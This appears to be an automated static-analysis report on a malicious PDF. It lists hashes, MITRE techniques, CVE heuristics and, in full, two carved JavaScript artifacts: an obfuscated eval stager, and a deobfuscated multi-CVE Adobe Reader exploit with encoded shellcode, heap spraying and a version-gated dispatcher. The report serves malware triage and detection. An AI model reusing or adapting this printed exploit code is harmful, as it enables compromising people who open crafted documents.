Malicious PDF — malware analysis report

Static analysis result for SHA-256 79ba5942ea531107…

MALICIOUS

PDF

26.1 KB Created: 2011-72-51 03:25:00
MD5: 71f4dca8317cb087501f4d5700711f3c SHA-1: 192ff58cd8a0f310d67ad51065ea6d935fba19c2 SHA-256: 79ba5942ea5311079f17c9913da313823282bb54718ef79b4c9438d789cac8be
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF document contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The JavaScript is designed to execute arbitrary code, likely to download and run a secondary malicious payload. The use of multiple CVEs and JavaScript exploitation points to a sophisticated dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
1ec0e3ba26d87badd9571332b8c6f7d7ca91ae371512ab4ad03cc4d71c53d0dc		 pdf-javascript-stream PDF /JS object 1 at offset 0x63DD 983 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var CamyxurYba='';
var DimoqioggoSibixihme=this.producer.substr(0,4);
for(var JilakodqomAcybo in this) {
	if (JilakodqomAcybo=='DimoqioggoSibixihme')
		ToranazyhjqujatUn=eval(JilakodqomAcybo.replace('DimoqioggoSibixihm','')+'val');
}
JadIvazycufususu = ToranazyhjqujatUn('new Date(2007,2,51,2,12,5)');
NyzaledexuBor = 'thi'+JadIvazycufususu.getHours()+'ducer';
VylrEzeju=ToranazyhjqujatUn(NyzaledexuBor.replace(2,'s.pro'));
VylrEzeju = VylrEzeju.replace(/t/g,'2');
JunidigesijhxypeLi = VylrEzeju.substr(4).split('s');
var RdhYxecotiqaqyta = '';
g = JadIvazycufususu.getHours()*2;
var JanaQyn = 'fro'+JadIvazycufususu.getHours()+'arCode';
JanaQyn=JanaQyn.replace(2,'mCh');
JajegepdycupOhucaja=String[JanaQyn];
for (JilakodqomAcybo = 0; JilakodqomAcybo < JunidigesijhxypeLi.length; JilakodqomAcybo++) {
	KelovEzu = ToranazyhjqujatUn(JunidigesijhxypeLi[JilakodqomAcybo]);
	RdhYxecotiqaqyta += JajegepdycupOhucaja(KelovEzu);
}
ToranazyhjqujatUn(RdhYxecotiqaqyta);
info_arithmetic_stage_000.js
d1f57f3035f1154cebcafb5bdda9b0e45d23971de1dba4af562372ff26b8dd2c		 deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3728 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u54B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u8334%uE2AA%uC3FA%uE5E8%uFFFF%u6AFF%u828F%u8383%u02DD%uDF6F%u8382%u0A83%u0E64%u93CC%uEC0E%uB2D7%uD458%uD0D2%uD0D0%uD0D0%uD0D0%uD0D6%uEBD0%u8287%u8383%uD5D6%uEBD0%uEDEC%u8383%uF6EB%uEFF1%uD7EE%u0DEB%u8DCD%u6B6F%u83CB%u8383%u6BD3%u83FF%u8383%u537C%u4700%uEB8B%u6CCC%u86CC%u6BD3%u83EF%u8383%u537C%u4306%u94F6%uD7E9%u70DA%uEB29%u7DF1%u9530%u9E6B%u8383%uD383%uD26B%u8383%u7C83%uD053%u7DE9%u0AEB%u82EC%u6B3E%u838B%u8383%u6BD3%u83BF%u8383%u537C%uB2E3%uE743%uD308%u08B3%u8FD1%uD108%u0897%uABF1%u9B3A%u8383%uB283%uB27C%u2F43%uE2BF%u81FF%uA3AF%u4C42%u828E%u6144%u0273%uD87C%uC93F%u08E9%u93C1%u9108%u5AF6%uC70A%u9FA7%u40E2%u08E3%uA7EF%u08A7%uBFC6%uD708%uFB86%u6982%uC908%u089B%uA3D9%u6882%uB760%u08CA%u08B7%u6D82%u7CB2%u43B2%u2F7F%u4307%u84F7%u4C42%u828E%u6844%uB877%uA7FF%uF6AB%u0862%uA7D9%u6882%u08E5%uC88F%uD908%u829F%u0868%u0887%u6B82%uC70A%u9FA7%u41E2%u838B%u6C6B%u7C7D%uEB7C%uF7F7%uB9F3%uACAC%uEBF7%uF1EC%uE2E4%uF6E8%uADF0%uF9E0%uE0AD%uACE0%uF6EC%uADF7%uEBF3%uBCF3%uBEE2%uD2D2%uC5E8%uE4C1%uC1B3%uC2C2%uCBC6%uC2C2%uC5C2%uE8C6%uC9E0%uC2C1%uBEBE%uF3A5%uB4BE%u0083';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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